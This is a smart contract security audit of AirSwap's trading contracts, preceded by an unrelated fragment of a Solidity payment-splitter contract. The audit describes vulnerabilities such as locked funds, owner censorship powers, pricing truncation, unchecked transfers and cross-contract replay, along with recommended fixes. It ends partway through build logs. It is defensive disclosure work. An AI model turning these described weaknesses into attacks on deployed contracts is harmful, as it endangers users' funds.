actual transfer is triggered as a separate function. */ abstract contract TokenPaymentSplitter is Context { uint256 internal _totalShares; mapping(address => uint256) internal _shares; address[] internal _payees; event PayeeAdded(address account, uint256 shares); event PayeeRemoved(address account); /** * @dev Creates an instance of `TokenPaymentSplitter` where each account in `payees` is assigned the number * of shares at the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require( payees.length == shares_.length, "TokenPaymentSplitter: payees and shares length mismatch" ); require(payees.length > 0, "TokenPaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { require(_payees.length >= 1, "TokenPaymentSplitter: There are no payees"); return _payees[index]; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) internal { require( account != address(0), "TokenPaymentSplitter: account is the zero address" ); require(shares_ > 0, "TokenPaymentSplitter: shares are 0"); require( _shares[account] == 0, "TokenPaymentSplitter: account already has shares" ); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } /** * @dev Remove an existing payee from the contract. * @param account The address of the payee to remove. * @param index The position of the payee in the _payees array. */ function _removePayee(address account, uint256 index) internal { require( index < _payees.length, "TokenPaymentSplitter: index not in payee array" ); require( account == _payees[index], "TokenPaymentSplitter: account does not match payee array index" ); _totalShares = _totalShares - _shares[account]; _shares[account] = 0; _payees[index] = _payees[_payees.length - 1]; _payees.pop(); emit PayeeRemoved(account); } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling 